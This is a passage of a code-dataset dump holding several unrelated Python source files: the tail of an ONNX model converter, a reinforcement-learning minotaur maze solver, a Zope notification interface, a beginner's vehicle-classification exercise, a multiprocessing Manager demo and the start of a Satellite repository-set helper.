node(i.attribute, 'axes', 'ints', para)\n            node(i.attribute, 'keepdims', 'i', para)\n            layers.append([i.name, 'reducemin', para])\n        elif i.op_type == 'Concat':\n            layers.append([i.name, 'concat', {'axis':i.attribute[0].i}])\n        elif i.op_type == 'Pad':\n            para = {}\n            node(i.attribute, 'mode', 's', para)\n            node(i.attribute, 'constant_value', 'f', para)\n            layers.append([i.name, 'pad', para])\n        elif i.op_type == 'Sigmoid':\n            layers.append([i.name, 'sigmoid', {}])\n        elif i.op_type == 'AveragePool':\n            w = node(i.attribute, 'kernel_shape', 'ints')\n            m = node(i.attribute, 'pads', 'ints')\n            s = node(i.attribute, 'strides', 'ints')\n            layers.append([i.name, 'averagepool', {'w':w, 'pads':m, 'strides':s}])\n        elif i.op_type == 'LSTM':\n            para = {'hidden_size': i.attribute[0].i}\n            node(i.attribute, 'direction', 's', para)\n            layers.append([i.name, 'lstm', para])\n        elif i.op_type == 'Shape':\n            layers.append([i.name, 'shape', {}])\n        elif i.op_type == 'Gather':\n            layers.append([i.name, 'gather', {'axis':node(i.attribute, 'axis', 'i') or 0}])\n        elif i.op_type == 'Mul':\n            layers.append([i.name, 'mul', {}])\n        elif i.op_type == 'Reshape':\n            layers.append([i.name, 'reshape', {}])\n        elif i.op_type == 'Transpose':\n            layers.append([i.name, 'transpose', {'axis':node(i.attribute, 'perm', 'ints')}])\n        elif i.op_type == 'LogSoftmax':\n            layers.append([i.name, 'logsoftmax', {'axis':i.attribute[0].i}])\n        elif i.op_type == 'Softmax':\n            layers.append([i.name, 'softmax', {'axis':i.attribute[0].i}])\n        elif i.op_type == 'ConstantOfShape': \n            v = onnx.numpy_helper.to_array(i.attribute[0].t)\n            tp, v = str(v.dtype), v.tolist()\n            v = v[0] if len(v)==1 else 0\n            layers.append([i.name, 'constantofshape', {'value':v, 'dtype':tp}])\n        elif i.op_type == 'Greater':\n            layers.append([i.name, 'greater', {}])\n        elif i.op_type == 'NonZero':\n            layers.append([i.name, 'nonzero', {}])\n        elif i.op_type == 'GreaterOrEqual':\n            layers.append([i.name, 'greaterorequal', {}])\n        elif i.op_type == 'TopK':\n            para = {}\n            node(i.attribute, 'axis', 'i', para)\n            node(i.attribute, 'largest', 'i', para)\n            node(i.attribute, 'sorted', 'i', para)\n            layers.append([i.name, 'topk', para])\n        elif i.op_type == 'Split': \n            split = node(i.attribute, 'split', 'ints')\n            para = {'axis': node(i.attribute, 'axis', 'i')}\n            if not split is None: para['split'] = split\n            layers.append([i.name, 'split', para])\n        elif i.op_type == 'Tanh': \n            layers.append([i.name, 'tanh', {}])\n        elif i.op_type == 'Exp': \n            layers.append([i.name, 'exp', {}])\n        elif i.op_type == 'Log': \n            layers.append([i.name, 'log', {}])\n        elif i.op_type == 'Slice':\n            layers.append([i.name, 'slice', {}])\n        elif i.op_type == 'Expand':\n            layers.append([i.name, 'expand', {}])\n        elif i.op_type == 'Equal':\n            layers.append([i.name, 'equal', {}])\n        elif i.op_type == 'Cast':\n            layers.append([i.name, 'cast', {'dtype':types[i.attribute[0].i]}])\n        elif i.op_type == 'Range':\n            layers.append([i.name, 'range', {}])\n        elif i.op_type == 'Where':\n            layers.append([i.name, 'where', {}])\n        elif i.op_type == 'ScatterND':\n            layers.append([i.name, 'scatternd', {}])\n        elif i.op_type == 'InstanceNormalization':\n            layers.append([i.name, 'instancenormalization', {'epsilon':i.attribute[0].f}])\n        elif i.op_type == 'Sqrt':\n            layers.append([i.name, 'sqrt', {}])\n        elif i.op_type == 'Erf':\n            layers.append([i.name, 'erf', {}])\n        elif i.op_type=='Reciprocal':\n            layers.append([i.name, 'erf', {}])\n        elif i.op_type == 'Clip':\n            minv = node(i.attribute, 'min', 'f')\n            maxv = node(i.attribute, 'max', 'f')\n            para = {}\n            if minv: para['min']=minv\n            if maxv: para['max']=maxv\n            layers.append([i.name, 'clip', para])\n        else:\n            print('lost layer:', i.op_type)\n            return 'lost', i\n\n    layers.append(['return', 'return', {}])\n    flows.append([[i.name for i in graph.output], ['return'], 'plrst'])\n    weights = np.hstack([i.view(dtype=np.uint8).ravel() for i in weights])\n    return {'input':input_para, 'inits':inits, 'layers':layers, 'flow':flows}, weights\n\ndef onnx2pla(path, zip=True):\n    graph, weights = read_onnx(path)\n    np.save(path.replace('onnx', 'npy'), weights)\n    with open(path.replace('onnx', 'json'), 'w') as f:\n        json.dump(graph, f)\n    if zip:\n        with zipfile.ZipFile(path.replace('onnx', 'pla'), 'w') as f:\n            f.write(path[:-4]+'json', os.path.split(path)[1][:-4]+'json')\n            f.write(path[:-4]+'npy', os.path.split(path)[1][:-4]+'npy')\n        os.remove(path.replace('onnx','json'))\n        os.remove(path.replace('onnx','npy'))\n\nif __name__ == '__main__':\n    a, b = read_onnx('../demo/yolov3-planer-2/yolov3')\n","repo_name":"Image-Py/planer","sub_path":"planer/io.py","file_name":"io.py","file_ext":"py","file_size_in_byte":13220,"program_lang":"python","lang":"en","doc_type":"code","stars":60,"dataset":"github-code","pt":"38"}
{"seq_id":"23220549047","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport time\nfrom IPython import display\n\n# Andrej Wilzcek 880707-7477\n# Kildo Alias 971106-7430\n\n\n# Implemented methods\nmethods = ['DynProg', 'ValIter']\n\n# Some colours\nLIGHT_RED = '#FFC4CC'\nLIGHT_GREEN = '#95FD99'\nBLACK = '#000000'\nWHITE = '#FFFFFF'\nLIGHT_PURPLE = '#E8D0FF'\nLIGHT_ORANGE = '#FAE0C3'\n\n\nclass Maze:\n\n    # Actions\n    # STAY = 0\n    # MOVE_LEFT = 1\n    # MOVE_RIGHT = 2\n    # MOVE_UP = 3\n    # MOVE_DOWN = 4\n    STAY = 4\n    MOVE_LEFT = 0\n    MOVE_RIGHT = 1\n    MOVE_UP = 2\n    MOVE_DOWN = 3\n\n    # Give names to actions\n    actions_names = {\n        STAY: \"stay\",\n        MOVE_LEFT: \"move left\",\n        MOVE_RIGHT: \"move right\",\n        MOVE_UP: \"move up\",\n        MOVE_DOWN: \"move down\"\n    }\n\n    # Reward values\n    STEP_REWARD = -1\n    GOAL_REWARD = 0\n    IMPOSSIBLE_REWARD = -100\n\n    def __init__(self, maze, weights=None, random_rewards=False, minoStay=False):\n        \"\"\" Constructor of the environment Maze.\n        \"\"\"\n        self.maze = maze\n        self.minoStay = minoStay\n        self.actions = self.__actions()\n        self.minoActions = self.__mino_actions()\n        self.states, self.map = self.__states()\n        self.n_minoActions = len(self.minoActions)\n        self.n_actions = len(self.actions)\n        self.n_states = len(self.states)\n        self.transition_probabilities = self.__transitions()\n        self.rewards = self.__rewards(weights=weights,\n                                      random_rewards=random_rewards)\n\n    def __actions(self):\n        actions = dict()\n        actions[self.STAY] = (0, 0)\n        actions[self.MOVE_LEFT] = (0, -1)\n        actions[self.MOVE_RIGHT] = (0, 1)\n        actions[self.MOVE_UP] = (-1, 0)\n        actions[self.MOVE_DOWN] = (1, 0)\n        return actions\n\n    def __mino_actions(self):\n        minoActions = dict()\n        minoActions[self.MOVE_LEFT] = (0, -1)\n        minoActions[self.MOVE_RIGHT] = (0, 1)\n        minoActions[self.MOVE_UP] = (-1, 0)\n        minoActions[self.MOVE_DOWN] = (1, 0)\n        if self.minoStay:\n            minoActions[self.STAY] = (0, 0)\n        return minoActions\n\n    def __states(self):\n        states = dict()\n        map = dict()\n        end = False\n        s = 0\n        for i in range(self.maze.shape[0]):\n            for j in range(self.maze.shape[1]):\n                if self.maze[i, j] != 1:\n                    for k in range(self.maze.shape[0]):\n                        for l in range(self.maze.shape[1]):\n                            states[s] = (i, j, k, l)\n                            map[(i, j, k, l)] = s\n                            s += 1\n\n        return states, map\n\n    def __move(self, state, action, minoAction):\n        \"\"\" Makes a step in the maze, given a current position and an action.\n            If the action STAY or an inadmissible action is used, the agent stays in place.\n\n            :return tuple next_cell: Position (x,y) on the maze that agent transitions to.\n        \"\"\"\n        # Compute the future minotaur position given current (state, action)\n        minoRow = self.states[state][2] + self.minoActions[minoAction][0]\n        minoCol = self.states[state][3] + self.minoActions[minoAction][1]\n\n        try:\n            if (self.maze[minoRow, minoCol] == 1):\n                minoRow += self.minoActions[minoAction][0]\n                minoCol += self.minoActions[minoAction][1]\n        except:\n            return None\n\n        # Is the future position an impossible one ?\n        outside = (minoRow == -1) or (minoRow == self.maze.shape[0]) or \\\n            (minoCol == -1) or (minoCol ==\n                                self.maze.shape[1]) or (self.maze[minoRow, minoCol] == 1)\n\n        if outside:\n            return None\n\n        # Compute the future player position given current (state, action)\n        row = self.states[state][0] + self.actions[action][0]\n        col = self.states[state][1] + self.actions[action][1]\n        # Is the future position an impossible one ?\n        hitting_maze_walls = (row == -1) or (row == self.maze.shape[0]) or \\\n            (col == -1) or (col == self.maze.shape[1]) or \\\n            (self.maze[row, col] == 1)\n\n        # Based on the impossiblity check return the next state.\n        if hitting_maze_walls:\n            return self.map[(self.states[state][0], self.states[state][1], minoRow, minoCol)]\n        else:\n            return self.map[(row, col, minoRow, minoCol)]\n\n    def __transitions(self):\n        \"\"\" Computes the transition probabilities for every state action pair.\n            :return numpy.tensor transition probabilities: tensor of transition\n            probabilities of dimension S*S*A\n        \"\"\"\n        # Initialize the transition probailities tensor (S,S,A)\n        dimensions = (self.n_states, self.n_states, self.n_actions)\n        transition_probabilities = np.zeros(dimensions)\n\n        # Compute the transition probabilities. Note that the transitions\n        # are deterministic.\n        for s in range(self.n_states):\n            for a in range(self.n_actions):\n                nextStates = []\n                for ma in range(self.n_minoActions):\n                    next_s = self.__move(s, a, ma)\n                    if next_s != None:\n                        nextStates.append(next_s)\n                prob = 1.0/len(nextStates)\n                for next_s in nextStates:\n                    transition_probabilities[next_s, s, a] = prob\n        return transition_probabilities\n\n    def __rewards(self, weights=None, random_rewards=None):\n\n        rewards = np.zeros((self.n_states, self.n_actions))\n\n        # If the rewards are not described by a weight matrix\n        if weights is None:\n            for s in range(self.n_states):\n                for a in range(self.n_actions):\n                    nextStates = []\n                    for ma in range(self.n_minoActions):\n                        next_s = self.__move(s, a, ma)\n                        if next_s != None:\n                            nextStates.append(next_s)\n\n                    for next_s in nextStates:\n\n                        # Rewrd for hitting a wall\n                        if self.states[s][0] == self.states[next_s][0] and self.states[s][1] == self.states[next_s][1] and a != self.STAY:\n                            rewards[s, a] += self.IMPOSSIBLE_REWARD\n                        # reward for being eaten\n                        elif self.states[next_s][0] == self.states[next_s][2] and self.states[next_s][1] == self.states[next_s][3]:\n                            rewards[s, a] += self.IMPOSSIBLE_REWARD\n                        # Reward for reaching the exit\n                        elif self.states[s][0] == self.states[next_s][0] and self.states[s][1] == self.states[next_s][1] and self.maze[self.states[next_s][0], self.states[next_s][1]] == 2:\n                            rewards[s, a] += self.GOAL_REWARD\n                        # Reward for taking a step to an empty cell that is not the exit\n                        else:\n                            rewards[s, a] += self.STEP_REWARD\n                    rewards[s, a] /= len(nextStates)\n\n        # If the weights are descrobed by a weight matrix\n        else:\n            for s in range(self.n_states):\n                for a in range(self.n_actions):\n                    next_s = self.__move(s, a)\n                    i, j = self.states[next_s]\n                    # Simply put the reward as the weights o the next state.\n                    rewards[s, a] = weights[i][j]\n\n        return rewards\n\n    def simulate(self, start, policy, method):\n        if method not in methods:\n            error = 'ERROR: the argument method must be in {}'.format(methods)\n            raise NameError(error)\n\n        path = list()\n        if method == 'DynProg':\n            # Deduce the horizon from the policy shape\n            horizon = policy.shape[1]\n            # Initialize current state and time\n            t = 0\n            s = self.map[start]\n            # Add the starting position in the maze to the path\n            path.append(start)\n            while t < horizon-1:\n\n                while True:\n                    randomMove = np.random.randint(0, len(self.minoActions))\n                    # Compute the future minotaur position given current (state, action)\n                    minoRow = self.states[s][2] + \\\n                        self.minoActions[randomMove][0]\n                    minoCol = self.states[s][3] + \\\n                        self.minoActions[randomMove][1]\n                    try:\n                        if (self.maze[minoRow, minoCol] == 1):\n                            minoRow += self.minoActions[randomMove][0]\n                            minoCol += self.minoActions[randomMove][1]\n                    except:\n                        continue\n\n                    # Is the future position an impossible one ?\n                    outside = (minoRow == -1) or (minoRow == self.maze.shape[0]) or \\\n                        (minoCol == -1) or (minoCol ==\n                                            self.maze.shape[1]) or (self.maze[minoRow, minoCol] == 1)\n\n                    if not outside:\n                        break\n\n                # Move to next state given the policy and the current state\n                next_s = self.__move(s, policy[s, t], randomMove)\n                # Add the position in the maze corresponding to the next state\n                # to the path\n                path.append(self.states[next_s])\n                # Update time and state for next iteration\n                t += 1\n                s = next_s\n        if method == 'ValIter':\n            # Initialize current state, next state and time\n            t = 1\n            s = self.map[start]\n            # Add the starting position in the maze to the path\n            path.append(start)\n\n            # calculate a random move for the Minotaur\n            while True:\n                randomMove = np.random.randint(0, len(self.minoActions))\n                # Compute the future minotaur position given current (state, action)\n                minoRow = self.states[s][2] + \\\n                    self.minoActions[randomMove][0]\n                minoCol = self.states[s][3] + \\\n                    self.minoActions[randomMove][1]\n                try:\n                    if (self.maze[minoRow, minoCol] == 1):\n                        minoRow += self.minoActions[randomMove][0]\n                        minoCol += self.minoActions[randomMove][1]\n                except:\n                    continue\n\n                # Is the future position an impossible one ?\n                outside = (minoRow == -1) or (minoRow == self.maze.shape[0]) or \\\n                    (minoCol == -1) or (minoCol ==\n                                        self.maze.shape[1]) or (self.maze[minoRow, minoCol] == 1)\n\n                if not outside:\n                    break\n\n            # Move to next state given the policy and the current state\n            next_s = self.__move(s, policy[s], randomMove)\n\n            # Add the position in the maze corresponding to the next state\n            # to the path\n            path.append(self.states[next_s])\n            # Loop while state is not the goal state\n            while not (self.states[s][0] == self.states[next_s][0] and self.states[s][1] == self.states[next_s][1] and self.maze[self.states[next_s][0], self.states[next_s][1]] == 2):\n                # Update state\n                s = next_s\n                while True:\n                    randomMove = np.random.randint(0, len(self.minoActions))\n                    # Compute the future minotaur position given current (state, action)\n                    minoRow = self.states[s][2] + \\\n                        self.minoActions[randomMove][0]\n                    minoCol = self.states[s][3] + \\\n                        self.minoActions[randomMove][1]\n                    try:\n                        if (self.maze[minoRow, minoCol] == 1):\n                            minoRow += self.minoActions[randomMove][0]\n                            minoCol += self.minoActions[randomMove][1]\n                    except:\n                        continue\n\n                    # Is the future position an impossible one ?\n                    outside = (minoRow == -1) or (minoRow == self.maze.shape[0]) or \\\n                        (minoCol == -1) or (minoCol ==\n                                            self.maze.shape[1]) or (self.maze[minoRow, minoCol] == 1)\n                    if not outside:\n                        break\n                # Move to next state given the policy and the current state\n                next_s = self.__move(s, policy[s], randomMove)\n                # Add the position in the maze corresponding to the next state\n                # to the path\n                path.append(self.states[next_s])\n                # Update time and state for next iteration\n                t += 1\n        return path\n\n    def show(self):\n        print('The states are :')\n        print(self.states)\n        print('The actions are:')\n        print(self.actions)\n        print('The mapping of the states:')\n        print(self.map)\n        print('The rewards:')\n        print(self.rewards)\n\n\ndef dynamic_programming(env, horizon):\n    \"\"\" Solves the shortest path problem using dynamic programming\n        :input Maze env           : The maze environment in which we seek to\n                                    find the shortest path.\n        :input int horizon        : The time T up to which we solve the problem.\n        :return numpy.array V     : Optimal values for every state at every\n                                    time, dimension S*T\n        :return numpy.array policy: Optimal time-varying policy at every state,\n                                    dimension S*T\n    \"\"\"\n\n    # The dynamic prgramming requires the knowledge of :\n    # - Transition probabilities\n    # - Rewards\n    # - State space\n    # - Action space\n    # - The finite horizon\n    p = env.transition_probabilities\n    r = env.rewards\n    n_states = env.n_states\n    n_actions = env.n_actions\n    T = horizon\n\n    # The variables involved in the dynamic programming backwards recursions\n    V = np.zeros((n_states, T+1))\n    policy = np.zeros((n_states, T+1))\n    Q = np.zeros((n_states, n_actions))\n\n    # Initialization\n    Q = np.copy(r)\n    V[:, T] = np.max(Q, 1)\n    policy[:, T] = np.argmax(Q, 1)\n\n    # The dynamic programming bakwards recursion\n    for t in range(T-1, -1, -1):\n        # Update the value function acccording to the bellman equation\n        for s in range(n_states):\n            for a in range(n_actions):\n                # Update of the temporary Q values\n                Q[s, a] = r[s, a] + np.dot(p[:, s, a], V[:, t+1])\n        # Update by taking the maximum Q value w.r.t the action a\n        V[:, t] = np.max(Q, 1)\n        # The optimal action is the one that maximizes the Q function\n        policy[:, t] = np.argmax(Q, 1)\n    return V, policy\n\n\ndef value_iteration(env, gamma, epsilon):\n    \"\"\" Solves the shortest path problem using value iteration\n        :input Maze env           : The maze environment in which we seek to\n                                    find the shortest path.\n        :input float gamma        : The discount factor.\n        :input float epsilon      : accuracy of the value iteration procedure.\n        :return numpy.array V     : Optimal values for every state at every\n                                    time, dimension S*T\n        :return numpy.array policy: Optimal time-varying policy at every state,\n                                    dimension S*T\n    \"\"\"\n    # The value itearation algorithm requires the knowledge of :\n    # - Transition probabilities\n    # - Rewards\n    # - State space\n    # - Action space\n    # - The finite horizon\n    p = env.transition_probabilities\n    r = env.rewards\n    n_states = env.n_states\n    n_actions = env.n_actions\n\n    # Required variables and temporary ones for the VI to run\n    V = np.zeros(n_states)\n    Q = np.zeros((n_states, n_actions))\n    BV = np.zeros(n_states)\n    # Iteration counter\n    n = 0\n    # Tolerance error\n    tol = (1 - gamma) * epsilon/gamma\n\n    # Initialization of the VI\n    for s in range(n_states):\n        for a in range(n_actions):\n            Q[s, a] = r[s, a] + gamma*np.dot(p[:, s, a], V)\n    BV = np.max(Q, 1)\n\n    # Iterate until convergence\n    while np.linalg.norm(V - BV) >= tol and n < 200:\n        # Increment by one the numbers of iteration\n        n += 1\n        # Update the value function\n        V = np.copy(BV)\n        # Compute the new BV\n        for s in range(n_states):\n            for a in range(n_actions):\n                Q[s, a] = r[s, a] + gamma*np.dot(p[:, s, a], V)\n        BV = np.max(Q, 1)\n        # Show error\n        # print(np.linalg.norm(V - BV))\n\n    # Compute policy\n    policy = np.argmax(Q, 1)\n    # Return the obtained policy\n    return V, policy\n\n\ndef draw_maze(maze):\n\n    # Map a color to each cell in the maze\n    col_map = {0: WHITE, 1: BLACK,\n               2: LIGHT_GREEN, -6: LIGHT_RED, -1: LIGHT_RED}\n\n    # Give a color to each cell\n    rows, cols = maze.shape\n    colored_maze = [[col_map[maze[j, i]]\n                     for i in range(cols)] for j in range(rows)]\n\n    # Create figure of the size of the maze\n    fig = plt.figure(1, figsize=(cols, rows))\n\n    # Remove the axis ticks and add title title\n    ax = plt.gca()\n    ax.set_title('The Maze')\n    ax.set_xticks([])\n    ax.set_yticks([])\n\n    # Give a color to each cell\n    rows, cols = maze.shape\n    colored_maze = [[col_map[maze[j, i]]\n                     for i in range(cols)] for j in range(rows)]\n\n    # Create figure of the size of the maze\n    fig = plt.figure(1, figsize=(cols, rows))\n\n    # Create a table to color\n    grid = plt.table(cellText=None,\n                     cellColours=colored_maze,\n                     cellLoc='center',\n                     loc=(0, 0),\n                     edges='closed')\n    # Modify the hight and width of the cells in the table\n    tc = grid.properties()['children']\n    for cell in tc:\n        cell.set_height(1.0/rows)\n        cell.set_width(1.0/cols)\n    display.display(fig)\n    display.clear_output(wait=True)\n    # time.sleep(1)\n    plt.show()\n\n\ndef animate_solution(maze, path):\n\n    # Map a color to each cell in the maze\n    col_map = {0: WHITE, 1: BLACK,\n               2: LIGHT_GREEN, -6: LIGHT_RED, -1: LIGHT_RED}\n\n    # Size of the maze\n    rows, cols = maze.shape\n\n    # Create figure of the size of the maze\n    fig = plt.figure(1, figsize=(cols, rows))\n\n    # Remove the axis ticks and add title title\n    ax = plt.gca()\n    ax.set_title('Policy simulation')\n    ax.set_xticks([])\n    ax.set_yticks([])\n\n    # Give a color to each cell\n    colored_maze = [[col_map[maze[j, i]]\n                     for i in range(cols)] for j in range(rows)]\n\n    # Create figure of the size of the maze\n    fig = plt.figure(1, figsize=(cols, rows))\n\n    # Create a table to color\n    grid = plt.table(cellText=None,\n                     cellColours=colored_maze,\n                     cellLoc='center',\n                     loc=(0, 0),\n                     edges='closed')\n\n    # Modify the hight and width of the cells in the table\n    tc = grid.properties()['children']\n    for cell in tc:\n        cell.set_height(1.0/rows)\n        cell.set_width(1.0/cols)\n\n    # Update the color at each frame\n    for i in range(len(path)):\n        if i > 0:\n            if path[i][0] == path[i][2] and path[i][1] == path[i][3]:\n                grid.get_celld()[(path[i][2], path[i][3])\n                                 ].set_facecolor(LIGHT_RED)\n                grid.get_celld()[(path[i][2], path[i][3])].get_text().set_text(\n                    'Player is eaten')\n                break\n\n            grid.get_celld()[(path[i-1][0], path[i-1][1])\n                             ].set_facecolor(col_map[maze[path[i-1][0], path[i-1][1]]])\n            grid.get_celld()[(path[i-1][0], path[i-1][1])\n                             ].get_text().set_text('')\n\n            grid.get_celld()[(path[i-1][2], path[i-1][3])\n                             ].set_facecolor(col_map[maze[path[i-1][2], path[i-1][3]]])\n            grid.get_celld()[(path[i-1][2], path[i-1][3])\n                             ].get_text().set_text('')\n\n            grid.get_celld()[(path[i][0], path[i][1])\n                             ].set_facecolor(LIGHT_ORANGE)\n            grid.get_celld()[(path[i][0], path[i][1])\n                             ].get_text().set_text('Player')\n\n            grid.get_celld()[(path[i][2], path[i][3])].set_facecolor(LIGHT_RED)\n            grid.get_celld()[(path[i][2], path[i][3])\n                             ].get_text().set_text('Minotaur')\n\n            playerLast = grid.get_celld()[(path[i-1][0], path[i-1][1])].xy\n            playerNow = grid.get_celld()[(path[i][0], path[i][1])].xy\n            deltaX = playerNow[0]-playerLast[0]\n            deltaY = playerNow[1]-playerLast[1]\n\n            plt.arrow(playerLast[0] + 0.5/rows, playerLast[1] + 0.5/cols,\n                      deltaX, deltaY, width=0.005)\n\n            minoLast = grid.get_celld()[(path[i-1][2], path[i-1][3])].xy\n            minoNow = grid.get_celld()[(path[i][2], path[i][3])].xy\n            deltaX = minoNow[0]-minoLast[0]\n            deltaY = minoNow[1]-minoLast[1]\n\n            plt.arrow(minoLast[0] + 0.25/rows, minoLast[1] + 0.25/cols,\n                      deltaX, deltaY, width=0.005, color='red')\n\n            if path[i][0] == path[i-1][0] and path[i][1] == path[i-1][1] and maze[(path[i][0], path[i][1])] == 2:\n                print('Vi är i mål')\n                grid.get_celld()[(path[i][0], path[i][1])\n                                 ].set_facecolor(LIGHT_GREEN)\n                grid.get_celld()[(path[i][0], path[i][1])].get_text().set_text(\n                    'Player is out')\n                break\n        else:\n            grid.get_celld()[(path[i][0], path[i][1])\n                             ].set_facecolor(LIGHT_ORANGE)\n            grid.get_celld()[(path[i][0], path[i][1])\n                             ].get_text().set_text('Player')\n\n            grid.get_celld()[(path[i][2], path[i][3])].set_facecolor(LIGHT_RED)\n            grid.get_celld()[(path[i][2], path[i][3])\n                             ].get_text().set_text('Minotaur')\n\n        display.display(fig)\n        display.clear_output(wait=True)\n        # time.sleep(1)\n        plt.draw()\n        plt.pause(0.3)\n    display.display(fig)\n    display.clear_output(wait=True)\n    # time.sleep(1)\n    plt.show()\n","repo_name":"andrejwilczek/Reinforcement-Learning","sub_path":"DP - maze/problem_1_maze.py","file_name":"problem_1_maze.py","file_ext":"py","file_size_in_byte":22507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"20399443829","text":"import time\n\nfrom zope import interface\nfrom zope import schema\n\n\nclass INotification(interface.Interface):\n    \"\"\"A notification is a set of useractions sharing the same what/where,\n    and linkedd to a specifique user.\n\n    The whos are merged when a useraction sharing the same attributes with an\n    unseen one is added. This is made in order to avoid having the same\n    notification several times with only the who changing. It allows for more\n    notifications shown at the same time.\"\"\"\n\n    id = schema.ASCIILine(title=u\"ID\")\n    what = schema.ASCIILine(title=u\"What\")\n    where = schema.ASCIILine(title=u\"Where\")\n    when = schema.Datetime(title=u\"When\")\n    who = schema.List(title=u\"Who\", value_type=schema.ASCIILine())\n    info = schema.Dict(title=u\"Info\",\n                       description=u\"More info given by the gatherer\",\n                       key_type=schema.ASCIILine(),\n                       value_type=schema.ASCIILine())\n    gatherer = schema.ASCIILine(title=u\"Gatherer\")\n\n    def getId():\n        \"\"\"Get the unique id of the notification\"\"\"\n\n    def show():\n        \"\"\"Return a human friendly string explaining the notification.\"\"\"\n\n\nclass Notification(object):\n    interface.implements(INotification)\n\n    def __init__(self, what, where, when, who, user, gatherer,\n                 seen=False, info=None):\n        self.what = what\n        self.where = where\n        self.when = when\n        self.who = who\n        title = \"%s\" % self.when.strftime(\"%Y-%m-%d-%H-%M-%S\")\n        title += \"-%s\" % self.what.lower()\n        title += \"-%s\" % self.where\n        self.id = title\n        self.seen = seen\n        self.user = user\n        self.info = info\n        self.gatherer = gatherer\n\n    def getId(self):\n        return self.id\n\n    def getWhenTimestamp(self):\n        return time.mktime(self.when.timetuple())\n","repo_name":"collective/collective.whathappened","sub_path":"collective/whathappened/notification.py","file_name":"notification.py","file_ext":"py","file_size_in_byte":1836,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"18537818407","text":"\ndef bem_vindo():\n    '''Exibe o conteudo inicial'''\n    print('''\n    ##################################################\n    Bem-vindo ao Descubra a Classe do Seu Veículo !\n    \n    O programa mostra a classe do veículo com base no\n    peso, quantidade de rodas e quantidade de pessoas.\n    ##################################################\n    \n    ''')\n\n\ndef encerramento():\n    '''Exibe o conteúdo final'''\n    print('''\n    #################################################\n    Obrigado. Adeus !\n    ################################################''')\n\n\ndef main():\n    '''funcao principal'''\n\n    qtd_rodas, peso, qtd_pessoas = 0, 0.0, 0\n    \n    bem_vindo() # exibe o conteúdo da função bem_vindo\n    \n\n    # Recebendo dados\n    qtd_rodas = int(input('Digite a quantidade de rodas do veículo: '))\n    peso = float(input('Digite o peso do veículo em kilogramas: '))\n    qtd_pessoas = int(input('Digite quantas pessoas o veículo pode suportar: '))\n    \n\n    # processamento e saída\n    if qtd_rodas == 2 or qtd_rodas == 3:\n        print('Classe A')\n    elif qtd_rodas == 4 and qtd_pessoas <= 8 and peso <= 3500:\n        print('Classe B')\n    elif qtd_rodas >= 4 and 3500 < peso < 6000:\n        print('Classe C')\n    elif qtd_rodas >= 4 and qtd_pessoas > 8:\n        print('Classe D')\n    elif qtd_rodas >= 4 and peso > 6000:\n        print('Classe E')\n    else:\n        print('A classe do veículo não pôde ser identificada')\n\n\n    encerramento() # mensagem de encerramento\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"lucasInCoffePower/TalentoCloud-FrontEnd","sub_path":"Modulo1-Introducao_a_programacao/Desafio2/Aula3/CodePark/code_park.py","file_name":"code_park.py","file_ext":"py","file_size_in_byte":1531,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"36338637925","text":"#coding=utf-8\r\n#Version:python3.6.0\r\n#Tools:Pycharm 2017.3.2\r\n# Author:LIKUNHONG\r\n__date__ = '2018/9/18 12:29'\r\n__author__ = 'likunkun'\r\n\r\nfrom multiprocessing import Process, Manager\r\n\r\ndef f(d, l):\r\n    d[1] = '1'\r\n    d['2'] = 2\r\n    d[0.25] = None\r\n    l.append(1)\r\n    # print(l)\r\n\r\nif __name__ == '__main__':\r\n    d = Manager().dict()  # 生成一个字典，可在多个进程间共享和传递\r\n    l = Manager().list(range(5))  # 列表\r\n    p_list = [] #进程列表\r\n    for i in range(10):\r\n        p = Process(target=f, args=(d, l))  #循环10次每次创建一个进程\r\n        p.start()\r\n        p_list.append(p)    #加入进程列表里\r\n    for res in p_list:  #等所有进程结束\r\n        res.join()\r\n    print(d)\r\n    print(l)\r\n","repo_name":"likunhong01/python_study","sub_path":"10multiprocess/managers共享.py","file_name":"managers共享.py","file_ext":"py","file_size_in_byte":752,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"40206683166","text":"from logzero import logger as log\n\nfrom forge.entities.base import Base\nfrom requests.exceptions import HTTPError\nfrom alive_progress import alive_bar\nfrom forge.entities.syncplan import SyncPlans\n\nimport json\n\n\nclass RepositorySets(Base):\n  \"\"\"Forged RepositorySets object.\n  Matches nailgun.entity.RepositorySets\n\n  :param Base: forge.entities.Base\n  :type Base: BaseClass\n  :return: List of RepositorySets entities\n  :rtype: list\n  \"\"\"\n  def __init__(self, cfg, org):\n    self.entity = \"RepositorySet\"\n    # Caching\n    self._repos = {}\n    super().__init__(cfg, org)\n\n  def get_by_labels(self, labels, rh_repo=False):\n    \"\"\" This returns the repo object based on label searched\"\"\"\n    log.debug(f\"Looking for {labels}\")\n    repos = []\n    with alive_bar(len(labels),\n      title=\"Fetching reposets data\") as bar:\n      for label in labels:\n        self.log_bar(f\"Looking for {label}\", bar)\n        if label in self._repos:\n          repo = self._repos[label]\n        else:\n          repo = self.search(None, label=label)\n          if len(repo) == 0:\n            log.error(f\"Repository labeled {label} is not found. Skipping\")\n            continue\n          if not rh_repo:\n            self._repos[label] = [r.read() for r in repo[0].repositories]\n          else:\n            self._repos[label] = repo\n        repos.append(self._repos[label][0])\n    return repos\n\n  def get_enabled(self):\n    self.get_all()\n    return list(filter(lambda x: len(x.repositories), self.items))\n\n  def enable_all(self, sync=False):\n    sync_plans = SyncPlans(self._cfg, self.org)\n    plan_map = sync_plans.get_plan_map(\"daily\")\n    planinc = 0\n\n    for section in self._cfg.config:\n      if section.startswith(\"products\"):\n        self.get_all(True)\n        config_keys = dict(self._cfg.config.items(section))\n        log.debug(config_keys)\n        products = json.loads(config_keys[\"list\"])\n        multiplier = 5 if sync else 4\n        repos = self.get_by_labels(list(map(lambda x: x[\"repository_set\"],\n          products)), True)\n        with alive_bar(len(products) * multiplier,\n          title=\"Enabling repo-sets\") as bar:\n          for i in products:\n            self.log_bar(f\"Getting reposet {i['repository_set']}\", bar)\n            filtered_repos = list(filter(lambda x: x.label == i[\"repository_set\"],\n              repos))\n            log.debug(f\"Filtered repos: {filtered_repos}\")\n            if not len(filtered_repos):\n              log.warning(f\"Skipping 